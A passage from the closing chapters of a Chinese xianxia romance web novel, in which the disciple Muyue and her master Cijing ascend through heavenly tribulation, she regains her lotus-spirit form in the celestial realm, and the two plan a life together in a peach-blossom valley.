“你可能一次承受快速连续晋升?”辞镜从未遇到过这种情况,也无法保证。
“我问了司命他说无碍,而且他给了我这个,有了这个就无须担心了。”她取出那条仙根,在师尊面前晃了晃。
辞镜这才将丹药递还给沐月。
她试探着放进嘴里,因她魂体被天界仙子滋养与这丹药还算融合,她能服下的瞬间便感觉丹田发热,磅礴的灵气朝她涌来,一旁的辞镜及时出手干预放缓了周围那极速朝沐月涌来的灵气,也减轻了她的压力。
沐月能感受到自己经脉被极速扩展,她甚至能听见自己突破的声音,只是这滋味并不好受,她的经脉骨骼像是被生生打碎重塑。
立即动用司命给她的仙根,嚼碎吞下后一股暖流自丹田流向四肢百骸,浑身像是被浸泡在温泉里,那细密的疼痛神奇地消失,沐月恢复了平静,沉下心牵引灵力,她能感受到自己体内灵力的攀升。
人界修士费尽一些所求的大道,天界的一粒丹药就能轻易获得,而天界之人又在追求更高的境界,不管是人是仙还是妖,似乎一生都在追逐自己所求。
戚雪峰的云层层堆积,万剑宗弟子乃至万里之外的修士都感觉到戚雪峰的异动,大家都在猜测或许是辞镜的飞升之兆。
若飞升,万剑宗的在仙门之中的地位从此将无人能够动摇。
飞升成了仙,万剑宗受仙庇护被仙气福泽,作为飞升之地的戚雪峰和万剑宗数千年内都会笼罩仙气,自此其他宗门再不可与之比肩。
大家都惊异地看向万剑宗的方向,磅礴的灵气都往戚雪峰而去,持续了九天九夜,终于恢复了宁静。
受到戚雪峰山下无法靠近的掌门长老们立即上山,原以为是飞升之兆,却不知为何没有生出雷劫,要过了雷劫通过金光笼罩的登仙云梯,才算是飞升成仙。
可这怎么瞧着不太一样?
几人在无妄楼外站定,屋里的沐月还在打坐调息,辞镜守在她身侧并未理会前来之人。
过了大约三日,沐月才睁开双眼,此时但她无需动用灵力,便能感知到戚雪峰乃至万剑宗各处的动静。
这就是大乘境大圆满的实力?
她有意压制自己飞升,仅靠丹药提升的实力并非并不凝练,还需要时间的沉淀,不然很可能会无法渡过飞升时的九重雷劫。
辞镜观察着沐月,见她神色如常甚至身上笼罩了一层似有若无的仙气,并无不适后放下了心。
但并未完全放下,他拉过沐月的手腕为她诊脉,并未发现不妥才将手放下。
“可有哪里不舒服?”
沐月摇头,“我现在神清目明,感觉很好。”她还有种还未彻底接受自己如此修为的虚幻感。
她催动灵力,感觉整座戚雪峰都在颤动,连忙收回灵力生怕一不小心就把戚雪峰夷为平地。
“师尊,我现在灵力尚不凝练,等过些时日我们一起飞升可好?”
这些时间正好可以和灵犀她们告个别。
“好,我们一起飞升。”
“先休息一会儿吧,此事急不得。”
沐月也是这么想的,可外面还有掌门他们,必定是为她的突破的动静而来。
“师尊,你别告诉他们我的境界,就说这些异动是因你而起。”
短时间如此突破,还一举突破至大乘境大圆满,必定会被怀疑,距离飞升指日可待,还是不要多生枝节为好,虽说她并不怕,可最后待在戚雪峰这段日子里她想安安静静渡过。
等她们一起飞升离开,那些人想找也找不到她们了。
“嗯,师尊明白的,那你就在屋里,我出去看看。”
“好,师尊你快去吧。”沐月也不想看见那帮老头,因为她和师尊相恋,许多人卡都看她不顺眼,出去反倒影响心情。
很快辞镜便回来,沐月问:“如何?”
“我说是我即将飞升引发的异动,他们并未多问。”
“那就好。”
说话前二人听见敲门声,随后传来沈风吟的声音。
“是大师兄来了。”沐月起身跑去门口,看见门口站着的宛若出鞘利剑的青年。
“师妹,师尊。”
沈风吟发现,他竟然看不透沐月的实力,这证明她要么境界在他之上,要么带了隐藏修为的法器。
“师尊,弟子感知到无妄楼的动静,这才过来。”
“只是修炼时所有感悟,并无大事。”辞镜面不改色回答。
“无事就好,弟子也能放心了。”
“大师兄你进来坐吧。”沐月见两人在门口站着没有进屋的迹象,开口招呼。
“师妹多谢你的好意,我就不坐了,还有些事情要忙。”
“这样啊,那正事要紧。”
送走大师兄,沐月兴致盎然地试验自己的灵力,“师尊,那我现在岂不是也能动用瞬移之术了?”
“要学上几次,师尊教你。”
“好!”
沐月发现此术并未师尊说的那般简单,别说几次,就是十几次,上百次她也没学会,看来修炼也要讲悟性,显然她属于悟性并不好的人。
“我还是慢慢学吧。”
一日学不会,那就学两日,三日,直到学会为止,若她学会了以后
去哪儿也方便许多。
沐月知晓自己在戚雪峰的时间不多了,离开之前她日日跑去找灵犀和储殷她们,回到戚雪峰又去大师兄那儿坐会儿,其余时间便修炼让自己虚浮的灵气更为凝练。
她能感觉到自己越发压不住体内的灵气,随时都有可能飞升。
夜里她没有拒绝师尊的亲近,但发现他一有要进一步的打算,沐月就推开他,“师尊不行,我们现在一不小心就会飞升。”
即便有意不动用双修之法,但彼此交融还是会有灵气碰撞,对于两人而言这些灵气随时都可能让她们突破飞升的临界点。
“我不做别的。”
沐月得到师尊的承诺才松开了手。
辞镜吻着沐月的唇,一点点往下,顺着她的脖颈蔓延至她的锁骨,缓慢地吻遍了她的全身。
沐月被师尊身上的气息包裹,逃无可逃,她紧闭的双眼剧烈颤动。
在她神志不清时,她感觉到师尊那骨节分明的手指,指甲修剪得圆润并不疼,她紧紧攥住一旁垂落的帷幔。
随后她感觉到一阵温软濡湿的触感,并拢就要推拒,但她并未挣脱。
*
飞升那日还是来了,沐月经过一段时间的修炼灵气已经凝练,她和灵犀她们到了别,回到戚雪峰开始和师尊进入九阙洞闭关突破。
但谁也无法保证谁会先走一步,还是两人一起飞升。
辞镜留意着沐月的动静,在察觉她身上散溢的气息知晓已经到了时候。
他也不再继续压制体内的灵力,两人身上的灵气旋转升空,淡蓝色的水灵气与浅绿色的木灵气缠绕交织,戚雪峰上空积云再次快速汇集,遮天蔽日万剑宗被昏暗笼罩,只能看见隐约的光亮。
所有人再次将目光聚集到戚雪峰,上次以为仙尊飞升,这次想必总该是了。
人界已经千百年没有人飞升,这还是头一回,所有人都屏息注视着戚雪峰的方向,其他地方修为高强的修士御剑至戚雪峰周围的上空,旁观这一场盛况。
他们隐约感觉有两股力量,可只有仙尊是大乘境修士,许是他的力量过于强大。
无人想过此次沐月也在飞升。
雷劫在上空酝酿,虽然知晓天雷只会锁定飞升之人,但掌门还是立即发布通告让弟子们尽快撤离万剑宗,担心被雷劫波及。
便是雷劫的余威弟子们也无半点承受的能力。
“这次看着应该没问题了。”
此次雷劫酝酿了足足有大半日的时间,弟子们都已撤离,掌门凝神注视雷劫之下的情况。
上空涌动的云恢复平静,但所有人都只事情才开始,闪电自厚重的云层穿过,细小的雷电却让众人胆颤心惊。
“应该快开始了。”有长老神情凝重地开口。
“希望一切顺利。”
飞升之前还有一劫,若无法抵挡这降下的九重雷劫,是生是死还未可知,或许一朝化为乌有,也或许自此迈入天界。
所有人都不敢大意,万剑宗上下弟子更是担心。
又过了大约一个时辰,闷雷声越发响亮,但一直未能降下第一重雷劫。
闪电的光亮照亮了戚雪峰,大家便也发现那云层之下仅有两道身影。
顿时一阵骚动。
“仙尊身旁可是还有一人?”
“怎会如此,放眼整个人界也只有他一个即将飞升的修士。”
可他们确实发现并非只有辞镜一人。
他身旁的似乎是一女子,况且这雷劫范围有些异常,全然不像是一人历劫的规模。
“再看看吧。”
越看他们越是发现自己并未看错,若几人看错尚能理解,可若人人都看错便没了道理。
刺耳雷声划破昏暗的天空,云层快要被光亮刺破,一点点蓄积,最终轰隆降下第一重雷劫。
沐月和辞镜身处雷劫中心,但她并未感受到雷电之力,她被师尊紧紧抱在怀里,两道雷劫交织爆发的威力成倍上涨,沐月只感觉到微微的震动,没有任何不适。
她急忙伸手推开师尊,却被他抱得很紧。
“师尊你放开我,我们分散开雷劫威力要减弱许多,我能承受!”
眼看第二重要比第一重威力大得多的雷劫就要降下,沐月慌乱地动用灵力想将师尊强行推开,但她发现师尊竟用灵力将她牢牢束缚。
“师尊,我没事的,若我无法承担你再帮我好不好?要是你出事了我一个人怎么办?”
说话间,第二重雷劫抽打在辞镜背上,他抱着沐月的双臂收得更紧。
“师尊我求你了!”
雷劫降得很快,因为两人渡劫,辞镜又独自承担所有雷劫,触犯天道规则雷劫的规模庞大得连那些围观的修士都连连退散。
“若到了第九重,我们一起或许这雷劫会让我们一起灰飞烟灭,你护不住我的!”
皱眉抵御雷劫的辞镜显然也注意到那像是被惹怒的天雷,他冷静地思索对策,最终还是松开沐月,“若是无法承受,立即过来。”
“我会的。”沐月被松开立即飞身与师尊隔开距离,那合力的天雷瞄准两人,终于分开落下。
天雷劈下,沐月调动全身灵力阻挡,她大脑快速运转,庞大的藤蔓自她身后涌出,在她与师尊头顶交织,辞镜领会沐月的意思,心神一动,藤蔓里的水灵气瞬间蒸发成了枯藤,两人被重叠交织的枯藤包裹,全力隔绝头顶的天雷。
两人此举效果显著,落在她们身上的雷电大幅减少,只有零星穿透藤蔓缝隙的雷电降下。
但这才到第三重,谁也不知到第九重威力会如何。
万千藤蔓出现在上空的同时,在场众人也意识到确实有第二人渡劫飞升,辞镜是水灵根万万不可能召出木灵根修士才会的之法。
而戚雪峰木灵根的只有沐月。
可她怎会也飞升?
众人惊疑不定。
经过一夜,雷劫渐渐消散,而他们在破开的天光之中清楚地看见了五彩霞光之下,云层中间那道被撕开的裂缝之中的两道身影。
正是辞镜和沐月。
磅礴的仙气自裂缝从天界涌入人界,大范围的灵雨也随之落下,天光大亮祥云漫天,围观之人都兴奋地在雨中欢呼,飞升的震撼已然让他们忘却为何沐月也会飞升。
直到被霞光笼罩的师徒二人踏着仙乐落在仙鹤之上,往天界而去,背影彻底消失在众人眼前,大家的心情才得以平静。
辞镜和沐月的情况并不乐观,两人衣衫褴褛血肉模糊,沐月的伤势要比师尊的轻很多,成功渡过雷劫至纯至净的仙气洗刷两人的血肉经脉快速修复两人的躯体。
沐月抱着师尊坐在仙鹤背上,神情慌乱,立即动用木灵力渡入师尊口中愈合他的伤势。
此时已不叫灵气,她已飞升成仙,曾经的木灵气也化为仙气,疗愈的效果也非往日可比。
守在辞镜身边的沐月眼前发黑,不知何时丧失所有意识趴在师尊身上,两人被仙鹤带往升仙台。
许
久没有凡人飞升天界各路神仙得知消息有空的都赶往升仙台,见司命着急地守在此地不免诧异。
“司命星君竟来得如此早?”许多神仙并不知神尊此次下界历劫,只以为是寻常凡人飞升,没有将其放在心上。
“倒也不算早。”司命心想一会儿看见飞升之人他们怕是没工夫笑了。
不多时,仙鹤飞至升仙台,诸位神仙远远便瞧见这仙鹤,纷纷诧异,“这不是神尊的坐骑吗?”
“就是说啊,这……”
待仙鹤在升仙台落地,看清背上之人,怔愣的神仙们立即弯腰低头行礼,再没有方才的松快。
虽模样有所变化,但这威压是绝不可能变的,就是这威压暂时有些弱。
诸位神仙暗暗嘀咕着。
天帝和天后也赶来此地,众神仙见此更知自己猜测不错。
“恭迎神尊历劫归来!”司命星君开了头,其他的神仙了然也齐齐开口。
但被诸神仙围绕的辞镜并未理会他们,他浑身有些颤抖,脸色惨白的他神情格外冷冽阴沉,但并未停止向沐月渡仙气。
司命星君也察觉不对,赶紧上前却发现沐月的身体的起伏极为微弱。
“快叫医仙过来!”
“神尊你先将沐月带至月清宫,医仙很快就来。”
辞镜步伐踉跄,他稳住身体强行瞬移至月清宫,将怀中女孩小心翼翼放到能够蕴养身体的玉床之上。
司命和天帝天后也跟了过来,他们都知情况不对并未开口说话。
医仙来得很快,时间匆忙她也知情况紧急便也没有行那些虚礼,立即为沐月诊治,她神情凝重,随后将沐月的手放下。
“仙子本为妖,但她的身体却是肉体凡胎,飞升成仙后她妖的魂体更加强大,虽这肉身也算是仙身了,但这到底不是仙子的本体,神魂与**互斥才导致她无法醒来。”
“如今唯有引出她的神魂,让她回归妖的本体,自行修出仙身才是最佳之法,到时再与这具身体相融便不会排斥了。”
沐月无事医仙也放下了心,说话间,打量了神尊几眼,猜测他与这女子究竟是何关系,竟如此紧张。
“如何才能引出她的神魂?”辞镜握着沐月冰冷的手,沉声问。
“神尊不必担忧,现在就能用引魂灯将其引出,尽快让她回到本体便可。”
魂体不可脱离太久,若久了极有可能消散。
天后立即吩咐月清宫的仙婢去取引魂灯。
得到引魂灯,医仙立即将其引燃,淡淡的香气弥漫,白色的烟雾徐徐升空,延伸至白玉床上躺着的沐月,将她的魂体一点一点从那具躯体引出。
辞镜渐渐看到一个飘忽的身影,与沐月有些相似,但又格外不同,而这个身影竟与他梦中女子的身影别无二致。
而这个身影,他经常在月清宫莲池内的一朵莲花上瞧见,她要么趴在花瓣之上,要么坐在花瓣上一滑而下,他时常听见她自言自语。
所以,其实他们早已认识。
辞镜护着引魂灯走向月清宫外的莲池,正打算告知他沐月的本体就是莲花的司命及时住了嘴。
神尊似乎知晓?他跟出去见辞镜走向那方莲池,验证了心中的猜测。
就在一方玉桌旁的莲池内,生长着一株随风摇晃的粉白莲花,晶莹剔透的露珠在花瓣内缓缓滚动。
辞镜按照医仙所说之法,将引魂灯靠近莲花,将灯熄灭。
动用仙力将沐月的魂体引至莲心之处。
“神尊,如今只需静待仙子化形。”医仙轻声告知。
“多久?”
“短则数日,多则数年。”
天上一日,地下一年,若是数年,人间便是几百年。
“本尊知晓了。”
他看着莲心之处合上双眼的沐月魂体花瓣缓缓合拢,将她的魂体包裹在内,也隔绝了辞镜的视线。
他日日守在莲池旁,等待沐月化形与他再见那日。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
【终章】
第63章 第63章她们的未来【……
天界似乎没有四季之分,辞镜坐在莲池旁与自己对弈。
桌上放着曾在无妄楼经常摆放的糕点,只是那糕点始终未被动过一块,他偶尔说话也无半分回应。
莲池之内的那朵莲花笼罩的光芒愈发耀眼,花瓣也开了最外的几层,但莲心之处却迟迟未能彻底盛开。
“阿月,今日传来消息,下界又有人飞升了。”
“你可知是谁?”
说完还是漫长的寂静,吹来一阵清风,莲池内的莲叶和莲花随风摇晃,似乎在摇头回应辞镜。
过了片刻,辞镜又道:“他说想来看看你。”
“你也早些化形可好?”
已经过了整整一年,可沐月还是没有化形的迹象。
月清宫无四季之分,也无白昼黑夜,辞镜已与自己的本体融合面容与之前并不完全相同,浑身上下冷淡疏离与这晶莹剔透的月清宫浑然一体,更加难以接近,不过在与沐月说话时,微垂的眼眸中透出浅浅的温柔之色。
辞镜将棋子一粒粒放入棋笥之中,他看向沐月,不知在想什么。
有仙婢来到月清宫垂首在他身边说了什么,辞镜起身,“阿月师尊先去去天宫一趟,很快回来。”
在他离开不久,莲池内的那朵莲花最后几层花瓣颤动,随后轻轻绽放,大约在一炷香的时间便彻底展开了花瓣,莲心之处蜷缩着透明人影绽放金色的璀璨光华。
透明的人影越发凝练,像是生出了经脉血肉,莲池内的仙气被根茎吸收注入莲心供养被包裹的纤弱身影,身体仿佛有血液在流淌,身影也逐渐变成了一个少女的模样,浅绿色的长发一寸寸乌黑,身体被莲花花瓣包裹,她闭着双眼赤足悬浮在莲心之上。
月清宫的浮云流转,少女睫毛轻颤,像是被雨滴打湿的荷叶,睁开了那双琉璃般的双眸。
沐月落地,看着这陌生但又熟悉的地方脑中混沌,就像记忆笼罩着一层厚重的迷雾,她努力回忆,脑中快速闪过一些记忆碎片。
有曾经未化形时在月清宫的点点滴滴,也有在其他地方的零星画面。
她努力回想,却发现一时半会儿或许无法记起全部,索性放弃了,多过两日应该就能全部想起来了。
沐月低下头看向自己的身体,手一挥就让花瓣包裹。
赤脚踩在月清宫的晶莹剔透的地面,看见殿门,她下意识走进,她分明是第一次进,但她脑中却好似知晓此地的大概布局。
四处好奇地看了看,撩开殿内的不只是水晶还是何物的珠帘,瞧见了一具身体,她本能地感觉熟悉,沐月走到床上毫无气息姑娘身旁,她停下脚步。
伸出手想要触碰她,指尖轻轻落在她的脸颊,沐月脑中快速涌入大量记忆。
她最为深刻的是一个男子的身影,但是瞧不清脸。
思索间沐月听见脚步声,出于本能她立即就要找个地方躲藏,此地过于空旷,思来想去她以最快的速度躲到了帷幔之后,将自己的身体藏起来。
脚步声越来越近,沐月紧紧捏着帷幔,但奇怪的是,她虽然紧张却并不害怕,这脚步声似乎有些熟悉,就仿佛她之前日日都能听见。
沐月克制自己想要探出头偷偷去看的念头,胡思乱想时眼前的帷幔突然被拉开。
一张男子的脸映入眼帘。
沐月眨了眨眼睛,目不转睛地盯着他看,方才记忆中的那道男子身影突然变得清晰,与面前男子的脸逐渐重叠。
她张了张口,下意识就要喊他,但话到嘴边又不知说什么了。
“我不是故意进来的,我立马就走。”
辞镜听闻她的话身形顿住。
“你说什么?”
“我说我不是坏人,对不起我立马离开。”
沐月说完就要绕开他,辞镜却握
住了她的手腕。
即便她的容貌已经变了,即便她现在似乎忘了他,但辞镜仍然能够一眼认出她就是沐月。
辞镜注视着女孩的面庞,眼中是他从未看过的陌生。
“这里就是你的家。”
沐月满脸茫然,“我的家?”
“嗯,你的家,是我们的家。”
“可是,可是我都不认识你。”
这一刻辞镜难以理清自己的思绪,也难以分辨自己的感受,可唯一能让他确认的是这就是沐月,他也不会让她离开。
“你能先松开我吗?”她觉得眼前此人很是亲近,可她又想不起他是谁。
辞镜松手了,“阿月你别怕,只是你可能忘记了一些事情。”
“可我真的不认识你,你骗我怎么办?”
趁辞镜不备转身就要跑,却不小心撞到桌角,辞镜立即将她抱住,沐月心头一跳挣扎着从他怀里起来,连忙和他保持距离,虽然她是觉得他对自己没有坏心,也觉得十分亲近,但现在的她忘了一切还是谨慎为好。
“师尊并未骗你。”
她虽没有记忆,但对他所说的称呼却有概念。
“师尊?”
“对,我们是师徒,你是我的徒弟,也是我的妻子。”
沐月:??
“师徒怎会在一起?你肯定是骗我的。”
辞镜察觉沐月的怀疑,当务之急是要让她留下,他便没有继续。
走到躺着沐月人界躯体的玉床旁,“这也是你,阿月你可还记得?”
“她怎会是我?我不是在这儿?”沐月低头看了眼自己,又去瞧那玉床上躺着的姑娘。
不过她是觉得亲近。
注视着那熟悉的眉眼,沐月再次产生想要触碰她的念头,手伸到一半神经突然抽疼。
手扶着玉床蹲下身,更加庞大杂乱无序的记忆碎片从眼前掠过,她想要扑捉那些记忆但愈发疼痛。
辞镜将沐月抱进怀里,“想不起来便不想了。”
他手中一空,方才的女孩凭空消失,化作一朵莲花浮在半空。
莲花被一股陌生的力量托举,缓缓飘浮至玉床上沐月在人界时的躯体,莲花化作点点粉金色流光自少女的额心注入,那朵金莲的印记从肌肤之下隐现,这具已经沉睡已久的身体的脉搏渐渐开始跳动。
她苍白得宛若透明的面庞与金莲融合,眉眼容貌悄无声息地变化。
五分像在人界的她,五分像她神魂原本的模样。
融合完成但她皮肤恢复红润,平稳地呼吸,但并未睁开双眼。
……
医仙匆忙赶来月清宫,听闻神尊交代的经过立即为沐月诊脉。
半刻钟后她放下手,“神尊您请放心,仙子才融合需要时间休息,最迟一日就能醒。”
辞镜并未完全放下心,看着睡得恬然的沐月,他伸手将她鬓边的碎发挽至耳后。
“这次醒来,就能记起我了吧。”
医仙不知神尊是与她说话还是与床上的姑娘说的,思来想去还是开了口,“仙子会记得您的。”
天界尊卑过于严苛,医仙不敢直视辞镜,她扫了眼发现他动作的缱绻,不免在心中感叹。
曾以为神尊半点不近女色,千万年来也没有听闻过他有心仪之人,瑶姬仙子如此追逐都未能让他有半分动容,现在竟也有了挂念的女子。
现如今天界四海八荒的仙子们怕是早早得了消息,芳心碎了一地。
“神尊属下就先告退了。”
医仙离开,月清宫只剩下辞镜和沐月两人。
大约一日后,沐月缓缓睁开双眼,反应迟钝的她抬了抬手,竟也有些迟缓,像是无法自如地控制自己的身体。
记忆虽都已恢复,但有些错乱。
侧头时注意到身旁微阖双眸的男子,她神情恍惚,但眼中的防备早已悄然散去,不似之前那般的疏离。
辞镜睁开双眼,与醒来的沐月对视,没有出声。
他远没有外表那般看着风平浪静。
两人对视良久,沐月张了张口,“师尊?”
她的话有些迟疑,眼前的男人像师尊但又不完全是,她不确定。
辞镜伸手将她揽入自己怀中。
沐月没有动,静静被师尊抱着,她靠在师尊胸口,伸手去看自己的双手,还是之前的手,可又有了不同,她眨了眨眼,“我们已经回来了。”
“回来了。”
“师尊你没事就好。”
沐月昏倒前师尊情况危险,幸好他没事。
“过了多久了?”
“一年。”
沐月一惊,竟然已过了一年之久,“我现在是已经化形了吧?”
她想要看看自己化形后的模样,“师尊你先松开,我去瞧瞧。”
话音才落,身体腾空,她搂紧师尊的脖子生怕自己掉下来,被他抱着走到镜前,沐月看着镜中的自己,满脸新奇,比之前更好看,皮肤没有丝毫瑕疵,她很满意现在的自己,就是美得有点不像她,或许要再过段时日她才能彻底适应。
还有身旁的师尊,其实沐月知晓他原本的相貌,只是在戚雪峰和师尊日日相处,人界的他的容貌早已刻入她的记忆,再次看见师尊的本貌她还有些恍惚。
沐月伸手轻轻碰了碰师尊的脸,现在的他瞧着身上的出尘感更加浓重,但对上他的如水的双眸,便又好像在瞬间将她拉回戚雪峰,一切都没有改变,师尊还是师尊,始终是他。
她抬头,忍不住亲了一下他,辞镜喉结微动,低头在她唇上温柔地吻。
这个吻原本是温暖柔和的,可方才沐月忘了他防备地看着他的目光再次在脑中掠过,辞镜的手指抬起沐月的下巴,抵开沐月的齿关,加深了这个吻。
两人之间升温,沐月也搂紧师尊,没有阻止他的动作。
半晌辞镜额头与沐月相抵,抱着她没有再动。
“师尊,我想出去看看。”
“好。”
沐月去月清宫的汤池中好生沐浴一回,换上师尊给她准备的衣裙,坐在梳妆镜前由师尊为她挽发。
她盯着镜中的自己和师尊,心一点一点落地。
所以她们真的回来了。
并未如她们担心那样再无交集,她们之间还有很长很长的时间。
与其担心那还未到来的事情,随心而为果然才是最好的选择。
沐月梳洗后走出寝殿,她对这里虽然熟悉,但也只是熟悉那一片小小的角落,月清宫广阔,她若是逛上三日也逛不完。
师徒二人闲聊,辞镜说起了沈风吟。
“阿月,你大师兄飞升回来了。”
“这么快?”
“天上一日,人界一年,不算快了。”
那就已经过去了三百多年,那确实算不上快,不过对她而言只是睡了一觉。
“师尊你顺利渡劫了对吗?”她还是有些不放心。
“嗯,多亏了你在。”
沐月很开心,“和我关系倒也不大啦。”
“对了师尊,大师兄是谁啊?”司命一直没有告诉她大师兄究竟是何人,她很是好奇。
“他是天界太子。”
他并非人界无父无母的孤儿沈风吟,而是天界太子。
辞镜这波澜不惊的话让沐月目瞪口呆,竟然来头这么大,难怪司命承诺给她这么多好处也要想办法让他渡了这情劫。
见沐月的反应,知晓她并不知情,她现在知晓了可会后悔?
沈风吟情劫已渡,而沐月便是助他成功历劫之人,若她选择沈风吟,那她就会是下任天后。
“那我有个如此厉害的师尊,还有个如此背景的大师兄,岂不是在天界横着走?”
“若你想做什么,无人敢拦你。”
沐月得了师尊的准话,更是双眼发亮,“司命之前说给我一个洞府,我得去问问他。”
“你要走?”
“没有啊,但我该得的肯定要,放在这里也不错嘛。”
况且月清宫是师尊的,虽说她并认为师尊会变心,会不管她,可她总是要有属于自己的落脚之处。
“房子越多越好呀。”
“师尊你可知司命在哪儿?”
沐月对着天界不熟,便是天宫在何处也是不知晓的。
“走吧。”
“那我们快去!”
沐月和师尊去司命所在星启殿,路上遇到不少神仙,腾云驾雾须发尽白的老仙翁,也有美得雌雄莫辨的真君,沐月什么都瞧着新奇,诸位神仙朝辞镜行礼,离去才远远看上沐月几眼。
如今二人的事情早已人尽皆知,都纷纷感慨,终于瞧见神尊心中所系的女子。
“听闻这仙子原是月清宫内的花妖,也不知为何随神尊下界助他历劫,还真被她成功了,瑶姬仙子都未能成功,她若是知晓怕是不会善罢甘休。”
“这你就不知道了吧,瑶姬发话这天界的哪位仙子敢下界?司命怕也只能哄这单纯的小花妖了。”
“不过倒是没想到两人还真能修成正果,瑶姬不善罢甘休又如何,神尊在,她还敢找那花妖的麻烦?”
“况且你们不知晓吧,这小花妖还助太子渡了劫,连天帝天后都要对她客气有加,瑶姬不过是青帝之女,她再如何也不敢对那小花妖出手。”
“悄悄告诉你们一事,瑶姬一回到天界就被带去天宫,青帝出手阻拦却也没有用处,她回去时面色不阴郁,被关在朝夕殿足有一年未出了。”
“发生了何事?”
“我听闻是她向魔族泄露神尊下界历劫这一消息。”
“这!怎会如此,她不是心系神尊么?”
“她助辞镜历劫并未成功,自然不愿别人成功,或许知晓仙尊与那花妖感情不错,由爱生恨一时糊涂了吧。”
*
沐月不知他们的谈论,若是知晓也是不怕的。
她便是和那仙子见都没见过几面,有何可担心的。
瞧见通身蓝色的星启大殿,正要和师尊一起走入殿门,却看见了一道熟悉的身影。
似乎是大师兄?
和她们一样,此时的沈风吟的容貌相较以往已经有了不小的变化,但还是能看出他在人界时的影子。
沈风吟走至两人面前,迟疑片刻他道:“师妹,神尊。”
原本沐月也在犹豫,听闻沈风吟对她的称呼也果断开口:“大师兄,你也来找司命?”
“历劫一事虽已结束,但还有事情需要了结。”
回到天界他知晓沐月助他成功渡过了情劫。
此次前来星启殿也为辞镜下界历劫却被魔族知晓暗杀他一事,所幸神尊成功历劫,神格已稳,魔族再是虎视眈眈暗中作祟也翻不起风浪。
沐月打量着眼前的大师兄,想起他的身份,由衷地觉得高兴,好在人界的一切只是他历的一场劫。
“大师兄,你飞升时万剑宗还好吗?”
“一切都好。”
“我的朋友们大师兄你可有遇见过?”
“她们过得也还不错,灵犀已经元婴境,而储殷已经化神。”
修士的寿命漫长,元婴境修士能够长达千年,虽已过去数百年,但随着突破寿命也会增加。
沐月听闻放下心。
“师妹你与神尊是住在月清宫对吗?”
“是的,目前是。”
“那我改日过来。”沈风吟轻声道。
“好,大师兄你去忙你的吧,我和师尊先进去找司命了。”
今日遇见大师兄算是意外之喜,她之前还想着哪次见见他,这回正好见到了,下次再找个时间好生叙叙旧。
“师尊我们进去了。”沐月看向一旁不知在想什么的师尊,随他一起跨入殿门。
正埋头奋笔疾书的司命抬头看去,他眼下青黑,瞧着很是疲惫,放在朱笔起身行礼,“神尊您来了。”
“不必多礼。”
沐月环顾大殿顶部的星空,小小惊叹,她一边看一边问:“司命我的洞府在哪儿?”
洞府?司命差点忙忘了,但洞府之前他就已经上报,不过一直忘了关注进展,也不知具体的哪座洞府,是新构建的还是其他。
沐月看出了他的迟疑,“不会没有吧?”
“有有有,稍等我片刻。”
他埋头找了一番才翻出被压在重重命格簿下的文书。
“嗯……是在桃夭谷,构建的仙府内仙婢足有三百,天材地宝更是数不胜数,你现在可要去瞧瞧?”
“此次前去你需与洞府缔结印记,才真正是你的,如此以来你便是在千里之外也能感知仙府各处的动静。”
“我想去看看。”
“本君很忙没法陪你去,这是桃夭谷所处位置,你与神尊一同去吧。”
“好,多谢你啦。”沐月看着天界广阔的地域图,在其上看见了月清宫,也看见了她仙府所在的桃夭谷,两地相隔甚远,但在天界瞬移太过寻常,距离便也没有所谓了。
“师尊你可有去过此地?”沐月想着桃夭谷究竟是什么模样,应该遍地桃花。
“没有。”
“那正好我们可以一起去瞧瞧。”
两人瞬移来到桃夭谷,沐月还未睁开双眼便闻到风中飘来的花香,一睁眼只见满山谷的桃花,地上也被粉白色的花瓣洒满,说是仙境也不为过。
“这里都是我的?”
“不止这里,千里之外也是你的。”
沐月想过会很广阔,但没有想到会如此广阔。
“那边呢?”沐月指向远处的山。
“也是。”
渐渐她终于得以平静,“那我的仙府在哪儿?”
辞镜带她御空,俯视整片山谷,在中心伫立着一座雕梁画栋的山庄,院内山石流水,桃林广布,还有仙婢在喂食池中的锦鲤。
这里比起仙气飘飘极不真实的月清宫,这里显然更像在人界时的住所。
“师尊,不然我们从月清宫搬来这里?”
月清宫冷冰冰的没什么人气,她显然更喜欢此地。
“我们可以在溪流旁垂钓,也可以在桃树下煮茶对弈,这桃花不知是否会谢,若能结出果子那就再好不过了。”
这里并非只有桃林,还有梨林,以及各种她未曾见过的仙树,一年四季都会有花盛放,景色也不尽相同。
“好。”辞镜温柔地注视着沐月,听她兴致勃勃地说话,计划着他们的未来。
“那里可以建个水亭,既可雨天赏雨,又能赏花。”
“那条溪流也可建个木桥,小桥流水看着心情很好。”
“那里还能建个秋千了,种些葡萄。”
“我真的好喜欢这里,在这里住上一辈子也不错。”
偶尔师尊去其他地方逛逛长长见识,平常就在这桃夭谷,虽无人打扰却也不会过于寂静,虫鸣鸟叫还有溪水风吹花瓣声,一切悄然抚平沐月心底的躁动。
沐月看着这些景象,垂下眼帘去牵辞镜的手,“师尊,分明现在已是最好的结果,但我却觉着不大真实。”
辞镜手指穿过沐月的指缝与她十指相扣,将她的微凉的手包在掌心,“现在呢?”
“真实了一点点。”
她看向彼此交握的手,手指动了动。
沐月看着师尊低头离她越来越近,她紧张又期待地闭上双眼,温暖柔软的吻落在她的额心。
她睁开双眼,面对师尊含笑的双眸。
“那现在如何?”
“还差一点。”
沐月拉住师尊的衣襟,踮脚亲了亲他的唇。
“这样就真实了。”沐月笑盈盈地说。
她转身看向漫山遍野的桃花,对今后的生活愈发期待。
她们的日子才开始,还有很长很长呢。
回想曾经自己面对师尊的万般纠结,似乎迅速成为了泡影。
沐月知晓漫长的时间长河之中,她与师尊之间或许会出现一个又一个的问题,但那时她不会再逃避。
“师尊,我们进去看看吧。”
“好。”
“到时我想回人界去看看,师尊你陪我一起去可好?”
“好。”
“我想去看看灵犀,也想看看储殷,也不知他那只猫是否也像我这般化形了,是还有无妄楼,若是可以,我真想把戚雪峰搬到这里来。”
“好。”
“师尊你怎么总是说好?戚雪峰怎么搬过来?”
“无妄楼重新构筑即可,这里也能变成第二个戚雪峰,我们有足够多的时间。”辞镜缓慢又认真地开口。
“师尊你说得没错!但我现在想吃桃花糕。”她看着这满山桃花,很难不心动。
“那我们摘些回去做,还能做些桃花露还有桃花酿。”
“好啊好啊。”
吹过一阵微风,花瓣簌簌飘落。
花树之下摘着花瓣的师徒二人说着桃花糕的制作方法,安静的山谷里两人隐约的说话声轻轻回荡。
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